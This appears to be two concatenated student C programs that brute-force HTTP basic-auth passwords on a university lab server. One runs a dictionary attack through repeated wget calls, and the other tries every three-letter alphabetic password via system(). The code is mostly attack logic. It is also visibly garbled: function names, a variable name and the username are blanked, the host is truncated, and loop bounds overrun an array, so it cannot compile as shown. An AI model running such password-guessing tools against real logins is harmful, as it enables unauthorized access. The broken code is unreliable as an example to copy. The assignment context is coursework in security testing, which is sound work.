#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



char* joinMe(char* t, char* t2)
{
	char* result;
	int length = 0;
	int j = 0;
	int counter = 0;
	
	length = strlen(t) + strlen(t2) + 1;
	
	result = malloc(sizeof(char) * length);
	
	
	for(j = 0; j<strlen(t); j++)
	{
		result[j] = t[j];
	}

	
	for(j = strlen(t); j<length; j++)
	{
		result[j] = t2[counter];
		counter++;
	}
	
	
	result[length-1] = '\0';

	return result;
}


void check(char** smallcmd)
{
	int pid = 0;
	int status;

	
	if( (pid = fork()) == 0)
	{
		
		execvp(smallcmd[0],smallcmd);
	}
	else
	{
		
		while(wait(&status) != pid);
	}
}

int (void)
{
	int i = 0, j = 0, k = 0;
	char** smallcmd;
	int count = 0;
	FILE *myFile,*myFile2,*myFile3;
	int compare1;
	char* myString;
	int length = 0;
	int start1, end1;
	
	
	myString = malloc(sizeof(char) * 100);
	smallcmd = malloc(sizeof(char *) * 8);
	
	smallcmd[0] = "/usr/local//wget";
	
	smallcmd[1] = "--http-user=";
	smallcmd[2] = "--http-passwd=";
	smallcmd[3] = "-o";
	smallcmd[4] = "logwget";
	smallcmd[5] = "-nv";
	smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";

	
	printf("-------------now trying Dictonary force attack---------------\n");
	start1 = time();
	myFile = fopen("/usr/share/lib/dict/words","r");
	if(myFile != (FILE*) NULL)
	{
		while( fgets(myString,100,myFile) != NULL)
		{
			
			
			
			smallcmd[2] = joinMe(smallcmd[2],myString);
			length = strlen(smallcmd[2]);
			
			smallcmd[2][length-1] = '\0';
			printf("Checking : %s\n",smallcmd[2]);
			
			check(smallcmd);
			count++;
			
			myFile2 = fopen("logwget", "r");
			if (myFile2 != (FILE*) NULL)
			{
				
				fgets(myString,100,myFile2);
				printf("%s\n",myString);
				if( strcmp(myString,"Authorization failed.\n") != 0)
				{
					
					printf("Passwd = %s\n\n",smallcmd[2]);
					end1= time();
					
					myFile3 = fopen("log.txt","a");
					fprintf(myFile3,"%s",smallcmd[2]);
					
					fputs("\nTime taken by Dictionary Attack ",myFile3);
					compare1 = ((end1-start1)/1000000000);
					fprintf(myFile3,"%lld",compare1);
					fputs(" seconds\n",myFile3);
					fputs("this took ",myFile3);
					fprintf(myFile3,"%d",count);
					fputs(" attempts\n\n",myFile3);
					fclose(myFile3);
				}
				fclose(myFile2);
			}
			
			smallcmd[2] = "--http-passwd=";
		}
	}
	fclose(myFile);
	return 1;
}


#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>



int ()
{
    int i,j,k,sysoutput;
    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(string1, "wget --http-user= --http-passwd=");
    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
    
    for (i=0;i<=52;i++)
  { 
     [0] = arr[i];
     [1]  ='\0'; 
     strcpy(a,);
     
     printf("The  first  value is %s \n", a);    	

     for (j=0;j<=52;j++)
       {  [0] = arr[j];
          [1] = '\0'; 
	  strcpy(temp1,a);
	  strcat(a,);
	  strcpy(b,a);
	  strcpy(a,temp1);
	   printf("The  second value is %s \n", b);    	          
	for(k=0;k<=52;k++)
	  {  
	     [0] =arr[k];
	     [1] = '\0';
	     strcpy(temp1,b);
	     strcat(b,);
	     strcpy(pass,b);
	     strcpy(b,temp1);
	     pass[0] = arr[i];
           pass[1]= arr[j];
           pass[2]= arr[k];
           pass[3] = '\0';
		printf(" the  third  value of   the %s \n" ,pass);    
                 

		printf("%s\n",pass);
	  printf("*********\n" );
          strcat(string1, pass);
          strcat(string1, string2);
	  printf("\n executing %s\n", string1);
          sysoutput = system(string1);
          if (sysoutput == 0)
          {
            printf("\nsuccess %d %s\n",sysoutput,pass);
            exit(1);
          }


	  strcpy(string1, "");
	  strcpy(string1, "wget --http-user= --http-passwd=");
          
	         }
  	}   
   }
 }  
     
    
  
  
  
  
  
